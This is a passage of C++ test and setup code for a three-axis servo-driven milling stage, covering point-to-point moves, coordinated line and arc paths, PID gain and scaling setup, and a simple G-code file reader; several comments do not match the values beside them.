g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove4 = new stageMoveXYZ(g_stage,-0.5, 0.0, 0.0); millctrl.SetCommand(stagemove4); stageGetPos *stagegetpos4 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos4); // x=0.0;y= -0.5;z= 0.0; // iError=g_stage.MoveTo(x,y,z, true); // g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove5 = new stageMoveXYZ(g_stage,0.0, -0.5, 0.0); millctrl.SetCommand(stagemove5); stageGetPos *stagegetpos5 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos5); // x=0.5;y= 0.5;z= 0.0; // iError=g_stage.MoveTo(x,y,z, true); // g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove6 = new stageMoveXYZ(g_stage,0.5, 0.5, 0.0); millctrl.SetCommand(stagemove6); stageGetPos *stagegetpos6 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos6); // x=-0.5;y= -0.5;z= 0.0; // iError=g_stage.MoveTo(x,y,z, true); // g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove7 = new stageMoveXYZ(g_stage,-0.5, 0.5, 0.0); millctrl.SetCommand(stagemove7); stageGetPos *stagegetpos7 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos7); // x=0.5;y= -0.5;z= 0.0; // iError=g_stage.MoveTo(x,y,z, true); // g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove8 = new stageMoveXYZ(g_stage,0.5, -0.5, 0.0); millctrl.SetCommand(stagemove8); stageGetPos *stagegetpos8 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos8); // x=-0.5;y= 0.5;z= 0.0; // iError=g_stage.MoveTo(x,y,z, true); // g_stage.GetPos(dXPosition, dYPosition, dZPosition ); stageMoveXYZ *stagemove9 = new stageMoveXYZ(g_stage,-0.5, 0.5, 0.0); millctrl.SetCommand(stagemove9); stageGetPos *stagegetpos9 = new stageGetPos(g_stage); millctrl.SetCommand(stagegetpos9); int numberOfCommands =millctrl.GetNumberOfCommands(); for (int i=0; i <= numberOfCommands-1;i++) { millctrl.execute(i); } // iError=Servo.move(-8000,2); // do{ // bMotion=Servo.IsInMotion(); // } // while(bMotion); // g_stage.GetHome( dXHome, dYHome, dZHome); return 0; } int TestPtToPtMotionShort() { // NMCSERVO Servo; int iModules; int iError; long lPosition; double XPos,YPos,ZPos; double CmXPos,CmdYPos,CmdZPos; double dCmdXSpeed,dCmdYSpeed,dCmdZSpeed; double dCmdXAccel,dCmdYAccel,dCmdZAccel; double dVelocity; double dXHome, dYHome, dZHome; byte byAD; iModules=g_stage.Initialize("COM4:"); SetScaling_3Axis(); SetPIDGain_3Axis(); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(6.0, 6.0, 6.0); g_stage.EnableAmp(); g_stage.ResetPos(); g_stage.GetHome( dXHome, dYHome, dZHome); BOOL bMotion; iError=g_stage.MoveRel(0.00, 0.00, 0.15, true); iError=g_stage.MoveRel(0.00, 0.00, 0.15, true); iError=g_stage.MoveRel(0.00, 0.00, 0.15, true); iError=g_stage.MoveRel(0.15, 0.00, 0.00, true); iError=g_stage.MoveRel(0.15, 0.00, 0.00, true); iError=g_stage.MoveRel(0.15, 0.00, 0.00, true); iError=g_stage.MoveRel(0.00, 0.15, 0.00, true); iError=g_stage.MoveRel(0.00, 0.15, 0.00, true); iError=g_stage.MoveRel(0.00, 0.15, 0.00, true); iError=g_stage.MoveTo(1.00, 1.000, 1.000, true); g_stage.GetPos(XPos, YPos, ZPos ); if ( !((XPos < 1.02) && (XPos > 0.98)) && !((YPos < 1.02) && (YPos > 0.98)) && !((ZPos < 1.02) && (ZPos > 0.98)) ) MessageBox(NULL, "Error with Position","Error Dialog", 1); g_stage.GetHome( dXHome, dYHome, dZHome); g_stage.GetCmdAccel(dCmdXSpeed, dCmdYSpeed, dCmdZSpeed); g_stage.GetCmdAccel(dCmdXAccel, dCmdYAccel, dCmdZAccel ); iError=g_stage.MoveTo(0.0, 0.0, 0.0, true); g_stage.GetPos(XPos, YPos, ZPos ); if ( !((XPos < 0.02) && (XPos > -0.02)) && !((YPos < 0.02) && (YPos > -0.02)) && !((ZPos < 0.02) && (ZPos > -0.02)) ) MessageBox(NULL, "Error with Position","Error Dialog", 1); iError=g_stage.MoveTo(0.000, 0.000, 0.000, true); g_stage.GetPos(XPos, YPos, ZPos ); g_stage.GetHome( dXHome, dYHome, dZHome); return 0; } int TestPtToPtAndCoordStageMotion() { int iModule; int iError; double dX, dY, dZ; Path vPath; iError=InitNMCModule3Axis (iModule, vPath); g_stage.Rotate(180.0); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); // g_stage.EnableAmp(); // g_stage.ResetPos(); // g_stage.SetPathStatus(); // g_stage.EnableAmp(); // g_stage.ResetPos(); // g_stage.SetPathStatus(); vPath.SetPathParams(P_60HZ, //path frequency = 30 Hz 75, //Store a minimum of 45 points in the path point buffer 15000.0, //X scale - 20000.0 counts per inch 15000.0, //Y scale - 20000.0 counts per inch 15000.0, //Z scale - 1.0 counts per inch - not used 0.175); //acceleration = 1.0 inch/second/second // InitServoPathParams(P_30HZ,1, 2, 3); vPath.SetOrigin(0.0, 0.0, 0.0); //set the origin to X = 0, Y = 0, Z = 0 vPath.SetFeedrate(0.175); //feedrate = 1.0 inches/second vPath.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees g_stage.InitPathMode(vPath); BOOL bMotion; iError=g_stage.MoveTo(0.0, 0.000, -0.5, true); g_stage.GetPos( dX, dY, dZ ); CreatePath1A_XOffset( dX, dY, dZ, vPath); ExecutePath3Axis(); iError=g_stage.MoveTo(1.0, 0.000, 0.000, true); iError=g_stage.MoveTo(1.0, 0.000, -0.5, true); g_stage.GetPos( dX, dY, dZ ); CreatePath1A_XOffset( dX, dY, dZ, vPath ); ExecutePath3Axis(); iError=g_stage.MoveTo(-1.0, 1.000, 0.0, true); iError=g_stage.MoveTo(-1.0, 1.000, -0.5, true); g_stage.GetPos( dX, dY, dZ ); CreatePath1A_XOffset( dX, dY, dZ, vPath ); ExecutePath3Axis(); iError=g_stage.MoveTo(0.0, 0.000, 0.000, true); return 0; }; int TestPtToPtAndCoordStageMotionPCS() { int iModule; int iError; double dX=0.0, dY=0.0, dZ=0.0; Path vPath; iError=InitNMCModule3Axis (iModule, vPath); g_stage.Rotate(180.0); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); // g_stage.EnableAmp(); // g_stage.ResetPos(); // g_stage.SetPathStatus(); vPath.SetPathParams(P_60HZ, //path frequency = 30 Hz 75, //Store a minimum of 45 points in the path point buffer 15000.0, //X scale - 20000.0 counts per inch 15000.0, //Y scale - 20000.0 counts per inch 15000.0, //Z scale - 1.0 counts per inch - not used 0.175); //acceleration = 1.0 inch/second/second // InitServoPathParams(P_30HZ,1, 2, 3); vPath.SetOrigin(0.0, 0.0, 0.0); //set the origin to X = 0, Y = 0, Z = 0 vPath.SetFeedrate(0.175); //feedrate = 1.0 inches/second vPath.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees g_stage.InitPathMode(vPath); //Initialize path control module parameters // g_stage.SetPathFreq(P_60HZ); // g_stage.SetNumberOfPoints(75); // g_stage.SetScale(15000.0, 15000.0, 15000.0); // g_stage.SetPathAcceleration(0.175); // g_stage.SetFeedrate(0.175); //feedrate = 1.0 inches/second // g_stage.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees // g_stage.SetPathParams(); //acceleration = 1.0 inch/second/second // g_stage.SetOrigin( 0.0, 0.0, 0.0 ); //set the origin to X = 0, Y = 0, Z = 0 BOOL bMotion; iError=g_stage.MoveTo(0.0, 0.0, 0.0, true); g_stage.GetPos( dX, dY, dZ ); CreatePath1A_XOffset( dX, dY, dZ, vPath ); // CreatePath1A_XOffset( dX, dY, dZ ); g_stage.ExecuteCoordMotion(vPath); iError=g_stage.MoveTo(1.0, 0.000, 0.000, true); // iError=g_stage.MoveTo(1.0, 0.000, -0.5, true); g_stage.GetPos( dX, dY, dZ ); CreatePath1A_XOffset( dX, dY, dZ, vPath ); g_stage.ExecuteCoordMotion(vPath); // ExecutePath3Axis(); // iError=g_stage.MoveTo(-1.0, 1.000, 0.0, true); // iError=g_stage.MoveTo(-1.0, 1.000, -0.5, true); // g_stage.GetPos( dX, dY, dZ ); // CreatePath1A_XOffset( dX, dY, dZ ); // ExecutePath3Axis(); iError=g_stage.MoveTo(0.0, 0.000, 0.000, true); return 0; }; int TestPtToPtAndCoordOutPts() { int iModule; int iError; double dX, dY, dZ; iError=InitNMCModule3Axis (iModule); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); // g_stage.EnableAmp(); // g_stage.ResetPos(); // g_stage.SetPathStatus(); //Initialize path control module parameters g_stage.SetPathFreq(P_60HZ); g_stage.SetNumberOfPoints(75); g_stage.SetScale(15000.0, 15000.0, 15000.0); g_stage.SetPathAcceleration(0.175); g_stage.SetFeedrate(0.175); //feedrate = 1.0 inches/second g_stage.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees g_stage.SetPathParams(); //acceleration = 1.0 inch/second/second g_stage.SetOrigin( 0.0, 0.0, 0.0 ); //set the origin to X = 0, Y = 0, Z = 0 // g_stage.ClosePointsOut(); return 0; }; int TestCoordMotion() { // NMCSERVO Servo; int iError; int iModule; double dX, dY, dZ; iError=InitNMCModule3Axis (iModule); if (iModule < 3) return -1; // g_stage.ResetPos(); // InitPathParam(P_30HZ, 75, // 66845.7447, 66845.7447, 2*66845.7447, // 0.001, // 0.001); InitPathParam(P_60HZ, 75, 6684.57447, 6684.57447, 6684.57447, 1.0, 1.0); iError=CreatePath1(); ExecutePath3Axis(); iError=CreatePath1_2(); ExecutePath3Axis(); iError=CreatePath1(); ExecutePath3Axis(); iError=CreatePath1_2(); ExecutePath3Axis(); ResetModules(iModule); return 0; }; int TestCoordMotionShortPath() { int iError; int res; int iModule; Path vPath; iError=InitNMCModule3Axis (iModule, vPath); if (iModule < 3) return -1; g_stage.Rotate(180.0); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); vPath.SetPathParams(P_60HZ, //path frequency = 30 Hz 75, //Store a minimum of 45 points in the path point buffer 6684.57447, //X scale - 20000.0 counts per inch 6684.57447, //Y scale - 20000.0 counts per inch 2*6684.57447, //Z scale - 1.0 counts per inch - not used 1.0); //acceleration = 1.0 inch/second/second vPath.SetOrigin(0.0, 0.0, 0.0); //set the origin to X = 0, Y = 0, Z = 0 vPath.SetFeedrate(1.0); //feedrate = 1.0 inches/second vPath.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees g_stage.InitPathMode(vPath); double x,y,z; // g_stage.GetPos(x,y,z); // InitPathParam(P_60HZ, 60, // 6684.57447, 6684.57447, 2*6684.57447, // 1.0, // 1.0); g_stage.GetPos(x,y,z); g_stage.ResetPos(); //Clear the segment list and set the starting point for the path // at X = 0, Y = 1, Z = 0 vPath.ClearSegListA(0,0,0); //Add a segment to move to x=0, y=2, z=0 res = vPath.AddLineSegA(0.0, 1.0, 0.0); if (res<0) return -1; res = vPath.AddArcSegA( 1.0, 2.0, 0.0, //end point of arc: x=1, y=2, z=0 1.0, 1.0, 0.0, //center point of arc: x=1, y=1, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; g_stage.ExecuteCoordMotion(vPath); vPath.ClearSegListA(1.0, 2.0, 0.0); g_stage.GetPos(x,y,z); res = vPath.AddLineSegA(2.0, 2.0, 0.0); //line segment endpoint: x=4, y=3, z=0 if (res<0) return -1; res = vPath.AddArcSegA( 3.0, 1.0, 0.0, //end point of arc: x=5, y=2, z=0 2.0, 1.0, 0.0, //center point of arc: x=4, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; //line segment endpoint: x=5, y=0, z=0 res = vPath.AddLineSegA(3.0, 0.0, 0.0); if (res<0) return -1; //line segment endpoint: x=5, y=0, z=0 g_stage.ExecuteCoordMotion(vPath); vPath.ClearSegListA(3.0, 0.0, 0.0); if (res<0) return -1; //line segment endpoint: x=5, y=0, z=0 res = vPath.AddLineSegA(0.0, 0.0, 0.0); if (res<0) return -1; g_stage.ExecuteCoordMotion(vPath); ResetModules(iModule); return 0; }; int TestCoordMotionCircleAtOrigin() { int iModule; int iError; double dX=0.0, dY=0.0, dZ=0.0; Path vPath; iError=InitNMCModule3Axis (iModule, vPath); g_stage.Rotate(180.0); g_stage.SetVel(3.0, 3.0, 3.0); g_stage.SetAccel(1.0, 1.0, 1.0); vPath.SetPathParams(P_60HZ, //path frequency = 30 Hz 75, //Store a minimum of 45 points in the path point buffer 15000.0, //X scale - 20000.0 counts per inch 15000.0, //Y scale - 20000.0 counts per inch 15000.0, //Z scale - 1.0 counts per inch - not used 0.175); //acceleration = 1.0 inch/second/second vPath.SetOrigin(0.0, 0.0, 0.0); //set the origin to X = 0, Y = 0, Z = 0 vPath.SetFeedrate(0.175); //feedrate = 1.0 inches/second vPath.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees g_stage.InitPathMode(vPath); BOOL bMotion; iError=g_stage.MoveTo(2.5, 0.0, 0.0, true); g_stage.GetPos( dX, dY, dZ ); vPath.ClearSegListA(2.5, 0.0, 0.0); //Clear the segment list and set the // starting point for the path // at X = 0, Y = 1, Z = 0 // //Add line and arc segments to the path module's segment list for first move // int res; res = vPath.AddArcSegA( 0.0, 2.5, 0.0, //end point of arc: x=1, y=3, z=0 0.0, 0.0, 0.0, //center point of arc: x=1, y=2, z = 0 0.0, 0.0, 1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; g_stage.ExecuteCoordMotion(vPath); vPath.ClearSegListA(0.0, 2.5, 0.0); //Clear the segment list and set the // starting point for the path // at X = 0, Y = 1, Z = 0 // //Add line and arc segments to the path module's segment list for first move // res = vPath.AddArcSegA( -2.5, 0.0, 0.0, //end point of arc: x=1, y=3, z=0 0.0, 0.0, 0.0, //center point of arc: x=1, y=2, z = 0 0.0, 0.0, 1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; g_stage.ExecuteCoordMotion(vPath); // ExecutePath3Axis(); // iError=g_stage.MoveTo(-1.0, 1.000, 0.0, true); // iError=g_stage.MoveTo(-1.0, 1.000, -0.5, true); // g_stage.GetPos( dX, dY, dZ ); // CreatePath1A_XOffset( dX, dY, dZ ); // ExecutePath3Axis(); iError=g_stage.MoveTo(0.0, 0.000, 0.000, true); return 0; }; int TestSplineMotion() { // NMCSERVO Servo; int iError; int iModule; iError=InitNMCModule3Axis (iModule); if (iModule < 3) return -1; InitPathParam(P_60HZ, 80, 6684.57447, 6684.57447, 6684.57447, .5, .5); iError=CreateSplinePath(); ExecutePath3Axis(); return 0; }; int TestGCode() { int iError; int res; int iModule; Stage & _stage = Singleton<Stage>::Instance(); Path & _path = Singleton<Path>::Instance(); iError=InitNMCModule3AxisStatic (iModule, _stage, _path); if (iModule < 3) return -1; double x,y,z; _stage.GetPos(x,y,z); _stage.Rotate(180.0); _stage.SetVel(3.0, 3.0, 3.0); _stage.SetAccel(1.0, 1.0, 1.0); _stage.EnableAmp(); _stage.ResetPos(); _stage.GetPos(x,y,z); // g_stage.SetPathStatus(); _path.SetPathParams(P_60HZ, //path frequency = 30 Hz 75, //Store a minimum of 45 points in the path point buffer 15000.0, //X scale - 20000.0 counts per inch 15000.0, //Y scale - 20000.0 counts per inch 15000.0, //Z scale - 1.0 counts per inch - not used 0.175); //acceleration = 1.0 inch/second/second // InitServoPathParams(P_30HZ,1, 2, 3); _path.SetOrigin(0.0, 0.0, 0.0); //set the origin to X = 0, Y = 0, Z = 0 _path.SetFeedrate(0.175); //feedrate = 1.0 inches/second _path.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees _stage.InitPathMode(_path); fstream filestr; filestr.open ("C:\\Program Files (x86)\\Mill1A\\input\\CircleAtOrigin.nc", fstream::in | fstream::out | fstream::app); // >> i/o operations here << std::string line; int parenIndex=0; int spaceIndex=0; int cmdLine=0; string cmd; vector<string> cmdlist; millCmd millCmdC; ParseCNC ParseCNC; // ParseCNC.SetStage(_stage); // ParseCNC.SetPath(_path); // ParseCNC.SetStage(static_cast<Stage *>(&vStage)); // ParseCNC.SetPath(static_cast<Path *>(&vPath)); while(filestr){ std::getline(filestr, line); parenIndex=line.find("(",0); if (parenIndex == string::npos) { ParseCNC.ParseLine(line, cmdlist); vector<string>::iterator it = cmdlist.begin(); while (it != cmdlist.end()) { ParseCNC.SetCommand1 (it, cmdlist); } cmdlist.clear(); } } filestr.close(); ParseCNC.GetCmd(millCmdC); int numberOfCommands =millCmdC.GetNumberOfCommands(); for (int i=0; i <= numberOfCommands-1;i++) { millCmdC.execute(i); } ResetModules(iModule); return 0; } int TestGCodeClass() { int iError; int res; int iModule; millCmdCtrl millcmdCtrl; Stage & _stage = Singleton<Stage>::Instance(); Path & _path = Singleton<Path>::Instance(); _path.SetPathParams(P_60HZ, //path frequency = 30 Hz 75, //Store a minimum of 45 points in the path point buffer 15000.0, //X scale - 20000.0 counts per inch 15000.0, //Y scale - 20000.0 counts per inch 15000.0, //Z scale - 1.0 counts per inch - not used 0.200); //acceleration = 1.0 inch/second/second // InitServoPathParams(P_30HZ,1, 2, 3); _path.SetOrigin(0.0, 0.0, 0.0); //set the origin to X = 0, Y = 0, Z = 0 _path.SetFeedrate(0.200); //feedrate = 1.0 inches/second _path.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees iError=InitNMCModule3AxisStatic (iModule, _stage, _path); if (iModule < 3) return -1; // millcmdCtrl.SetStage(&_stage); // millcmdCtrl.SetPath(&_path); millcmdCtrl.ProcessGCode("C:\\Program Files (x86)\\Mill1A\\input\\CircleAtOrigin.nc"); // millcmdCtrl.RunGCode(); int numberCmds=millcmdCtrl.Count(); int itype=0; millcmdCtrl.InitRun(); double x1,y1,z1; double x2,y2,z2; double x3,y3,z3; for(int i=0; i < numberCmds; i++) { millcmdCtrl.RunCommand(i); itype=millcmdCtrl.GetCommand(); if (itype == 0) { millcmdCtrl.GetStart(x1,y1,z1); millcmdCtrl.GetEnd(x2,y2,z2); millcmdCtrl.GetCenter(x3,y3,z3); } millcmdCtrl.Iter(); } ResetModules(iModule); return 0; } int InitNMCModule3Axis (int & iModules) { iModules=g_stage.Initialize("COM9:"); if (iModules < 3) { MessageBox(NULL,"3 servos not found","",MB_TASKMODAL | MB_SETFOREGROUND); return -1; } //Set the group address for both controllers to 128 g_stage.SetGroupAddress(128, eXAxis); SetScaling_3Axis(); SetPIDGain_3Axis(); ServoOnNMCModule3Axis(); //Set the required status items for the path control module g_stage.SetPathStatus(); // ServoSetIoCtrl(1, IO1_IN | IO2_IN); // ServoSetIoCtrl(2, IO1_IN | IO2_IN); // ServoSetIoCtrl(3, IO1_IN | IO2_IN); return 0; }; int InitNMCModule3Axis (int & iModules, Path & path) { iModules=g_stage.Initialize("COM9:", path); if (iModules < 3) { MessageBox(NULL,"3 servos not found","",MB_TASKMODAL | MB_SETFOREGROUND); return -1; } //Set the group address for both controllers to 128 g_stage.SetGroupAddress(128, eXAxis); SetScaling_3Axis(); SetPIDGain_3Axis(); ServoOnNMCModule3Axis(); //Set the required status items for the path control module g_stage.SetPathStatus(); // ServoSetIoCtrl(1, IO1_IN | IO2_IN); // ServoSetIoCtrl(2, IO1_IN | IO2_IN); // ServoSetIoCtrl(3, IO1_IN | IO2_IN); return 0; }; int InitNMCModule3AxisStatic (int & iModules, Stage & stage, Path & path) { iModules=stage.Initialize("COM4:"); if (iModules < 3) { MessageBox(NULL,"3 servos not found","",MB_TASKMODAL | MB_SETFOREGROUND); return -1; } stage.Rotate(180.0); //Set the group address for both controllers to 128 stage.SetGroupAddress(128, eXAxis); SetScaling_3AxisStatic(stage); SetPIDGain_3AxisStatic(stage); ServoOnNMCModule3AxisStatic(stage); //Set the required status items for the path control module stage.SetPathStatus(); // ServoSetIoCtrl(1, IO1_IN | IO2_IN); // ServoSetIoCtrl(2, IO1_IN | IO2_IN); // ServoSetIoCtrl(3, IO1_IN | IO2_IN); return 0; }; int InitPathParam(int pathFreq, int numberOfPts, double xScale, double yScale, double zScale, double pathAccel, double feedrate) { //Initialize path control module parameters g_stage.SetPathFreq(pathFreq); g_stage.SetNumberOfPoints(numberOfPts); g_stage.SetScale(xScale, yScale, zScale); g_stage.SetPathAcceleration(pathAccel); g_stage.SetFeedrate(feedrate); g_stage.SetPathParams(); //acceleration = 1.0 inch/second/second g_stage.SetOrigin(0.0, 0.0, 0.0); //set the origin to X = 0, Y = 0, Z = 0 g_stage.SetFeedrate(1.0); //feedrate = 1.0 inches/second g_stage.SetTangentTolerance(10.0); //continuous path tangent tolerence = 10 degrees return 0; } int SetPIDGain_3Axis() { int iProportional; int iDifferential; int iIntegral; BOOL bXAxisGain=FALSE; BOOL bYAxisGain=FALSE; BOOL bZAxisGain=FALSE; GainLimit GainLimits; GainLimits.dIntegralLimit =0.0; GainLimits.dOutputLimit =255.0; GainLimits.dCurrentLimit =0.0; GainLimits.dErrorLimit =2000.0; GainLimits.dServoRate =1.0; GainLimits.dDeadBand =0.0; g_stage.SetGainLimits(eXAxis, GainLimits); g_stage.SetGainLimits(eYAxis, GainLimits); g_stage.SetGainLimits(eZAxis, GainLimits); bXAxisGain= g_stage.SetGain( eXAxis, 2144, 7680, 512); //DC = 0 if (bXAxisGain) return -1; bYAxisGain= g_stage.SetGain( eYAxis, 1656, 4064, 128); //DC = 0; if (bYAxisGain) return -2; bZAxisGain= g_stage.SetGain( eZAxis, 1872, 12288, 512); //DC = 0 if (bZAxisGain) return -3; g_stage.GetGain(eXAxis, iProportional, iDifferential,iIntegral); g_stage.GetGain(eYAxis, iProportional, iDifferential,iIntegral); g_stage.GetGain(eZAxis, iProportional, iDifferential,iIntegral); return 0; } int SetScaling_3Axis () { g_stage.SetEncoderCounts(eXAxis, 200.00); g_stage.SetEncoderCounts(eYAxis, 200.00); g_stage.SetEncoderCounts(eZAxis, 200.00); g_stage.SetLeadScrewPitch(eXAxis, 10.00); g_stage.SetLeadScrewPitch(eYAxis, 10.00); g_stage.SetLeadScrewPitch(eZAxis, 20.00); g_stage.SetMotorGearRatio(eXAxis, 5.9); g_stage.SetMotorGearRatio(eYAxis, 5.9); g_stage.SetMotorGearRatio(eZAxis, 5.9); g_stage.SetPulleyRatio(eXAxis, 2.13/1.504); g_stage.SetPulleyRatio(eYAxis, 2.13/1.504); g_stage.SetPulleyRatio(eZAxis, 2.13/1.504); return 0; }; int SetPIDGain_3AxisStatic(Stage & stage) { int iProportional; int iDifferential; int iIntegral; BOOL bXAxisGain=FALSE; BOOL bYAxisGain=FALSE; BOOL bZAxisGain=FALSE; GainLimit GainLimits; GainLimits.dIntegralLimit =0.0; GainLimits.dOutputLimit =255.0; GainLimits.dCurrentLimit =0.0; GainLimits.dErrorLimit =2000.0; GainLimits.dServoRate =1.0; GainLimits.dDeadBand =0.0; stage.SetGainLimits(eXAxis, GainLimits); stage.SetGainLimits(eYAxis, GainLimits); stage.SetGainLimits(eZAxis, GainLimits); bXAxisGain= stage.SetGain( eXAxis, 2144, 7680, 512); //DC = 0 if (bXAxisGain) return -1; bYAxisGain= stage.SetGain( eYAxis, 1656, 4064, 128); //DC = 0; if (bYAxisGain) return -2; bZAxisGain= stage.SetGain( eZAxis, 1872, 12288, 512); //DC = 0 if (bZAxisGain) return -3; stage.GetGain(eXAxis, iProportional, iDifferential,iIntegral); stage.GetGain(eYAxis, iProportional, iDifferential,iIntegral); stage.GetGain(eZAxis, iProportional, iDifferential,iIntegral); return 0; } int SetScaling_3AxisStatic (Stage & stage) { stage.SetEncoderCounts(eXAxis, 200.00); stage.SetEncoderCounts(eYAxis, 200.00); stage.SetEncoderCounts(eZAxis, 200.00); stage.SetLeadScrewPitch(eXAxis, 10.00); stage.SetLeadScrewPitch(eYAxis, 10.00); stage.SetLeadScrewPitch(eZAxis, 20.00); stage.SetMotorGearRatio(eXAxis, 5.9); stage.SetMotorGearRatio(eYAxis, 5.9); stage.SetMotorGearRatio(eZAxis, 5.9); stage.SetPulleyRatio(eXAxis, 2.13/1.504); stage.SetPulleyRatio(eYAxis, 2.13/1.504); stage.SetPulleyRatio(eZAxis, 2.13/1.504); return 0; }; int ServoOnNMCModule3Axis() { g_stage.StopMotor(eXAxis, AMP_ENABLE | STOP_ABRUPT | ADV_FEATURE); g_stage.StopMotor(eYAxis, AMP_ENABLE | STOP_ABRUPT | ADV_FEATURE); g_stage.StopMotor(eZAxis, AMP_ENABLE | STOP_ABRUPT | ADV_FEATURE); //Reset position counters to zero: // g_stage.ResetPos(); //Clear any error bits // ServoClearBits(1); // ServoClearBits(2); // ServoClearBits(3); return 0; }; int ServoOnNMCModule3AxisStatic(Stage & stage) { stage.StopMotor(eXAxis, AMP_ENABLE | STOP_ABRUPT | ADV_FEATURE); stage.StopMotor(eYAxis, AMP_ENABLE | STOP_ABRUPT | ADV_FEATURE); stage.StopMotor(eZAxis, AMP_ENABLE | STOP_ABRUPT | ADV_FEATURE); //Reset position counters to zero: // g_stage.ResetPos(); //Clear any error bits // ServoClearBits(1); // ServoClearBits(2); // ServoClearBits(3); return 0; }; int ServoOnNMCModule3AxisNoReset() { g_stage.StopMotor(eXAxis, AMP_ENABLE | STOP_SMOOTH ); g_stage.StopMotor(eYAxis, AMP_ENABLE | STOP_SMOOTH ); g_stage.StopMotor(eZAxis, AMP_ENABLE | STOP_SMOOTH ); // ServoResetPos(1); // ServoResetPos(2); // ServoResetPos(3); //Clear any error bits // ServoClearBits(1); // ServoClearBits(2); // ServoClearBits(3); return 0; }; int CreatePath1() { int res; // //Clear the segment list and initialize the starting point for the path // g_stage.ClearSegList(0.0, 0.0, 0.0); //Clear the segment list and set the // starting point for the path // at X = 0, Y = 1, Z = 0 // //Add line and arc segments to the path module's segment list for first move // res = g_stage.AddLineSeg(0.0, 1.0, 0.0); //Add a segment to move to x=0, y=2, z=0 if (res<0) return -1; res = g_stage.AddArcSeg( 1.0, 2.0, 0.0, //end point of arc: x=1, y=3, z=0 1.0, 1.0, 0.0, //center point of arc: x=1, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; res = g_stage.AddLineSeg(2.0, 2.0, 0.0); //line segment endpoint: x=4, y=3, z=0 if (res<0) return -1; res = g_stage.AddArcSeg( 3.0, 1.0, 0.0, //end point of arc: x=5, y=2, z=0 2.0, 1.0, 0.0, //center point of arc: x=4, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; res = g_stage.AddLineSeg(3.0, 0.0, 0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; } int CreatePath1A() { int res; // //Clear the segment list and initialize the starting point for the path // g_stage.ClearSegList(0.0, 0.0, 0.0); //Clear the segment list and set the // starting point for the path // at X = 0, Y = 1, Z = 0 // //Add line and arc segments to the path module's segment list for first move // res = g_stage.AddLineSeg(0.0, 1.0, 0.0); //Add a segment to move to x=0, y=2, z=0 if (res<0) return -1; res = g_stage.AddArcSeg( 1.0, 2.0, 0.0, //end point of arc: x=1, y=3, z=0 1.0, 1.0, 0.0, //center point of arc: x=1, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; res = g_stage.AddLineSeg(2.0, 2.0, 0.0); //line segment endpoint: x=4, y=3, z=0 if (res<0) return -1; // ServoInf::m_pNMCServo->ClearSegList(4.0, 3.0, 0.0); //Clear the segment list and set the // ExecutePath3Axis(); res = g_stage.AddArcSeg( 3.0, 1.0, 0.0, //end point of arc: x=5, y=2, z=0 2.0, 1.0, 0.0, //center point of arc: x=4, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; res = g_stage.AddLineSeg(3.0, 0.0, 0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; res = g_stage.AddStart(3.0, 0.0, 0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; res = g_stage.AddLineSeg(0.0, 0.0, 0.0); //line segment endpoint: x=5, y=0, z=0 if (res<0) return -1; } int CreatePath1A_XOffset(double dX, double dY, double dZ) { int res; // //Clear the segment list and initialize the starting point for the path // g_stage.ClearSegList(dX, dY, dZ); //Clear the segment list and set the // starting point for the path // at X = 0, Y = 1, Z = 0 // //Add line and arc segments to the path module's segment list for first move // res = g_stage.AddLineSeg(dX, dY+1.0, dZ+0.0); //Add a segment to move to x=0, y=2, z=0 if (res<0) return -1; res = g_stage.AddArcSeg( dX+1.0, dY+2.0, dZ+0.0, //end point of arc: x=1, y=3, z=0 dX+1.0, dY+1.0, dZ+0.0, //center point of arc: x=1, y=2, z = 0 0.0, 0.0, -1.0 ); //normal vector to arc plane: x = 0, y = 0, z = -1 if (res<0) return -1; res = g_stage.AddLineSeg(dX+2.0, dY+2.0, dZ+0.0); //line segment endpoint: x=4, y=3, z=0 if (res<0) return -1; // ServoInf::m_pNMCServo->ClearSegList(4.0, 3.0, 0.0); //Clear the segment list and set the // ExecutePath3Axis(); res = g_stage.AddArcSeg( dX+3.0, dY+1.0, dZ+0.0, //end point of arc: x=5, y=2, z=0 dX+2.0, 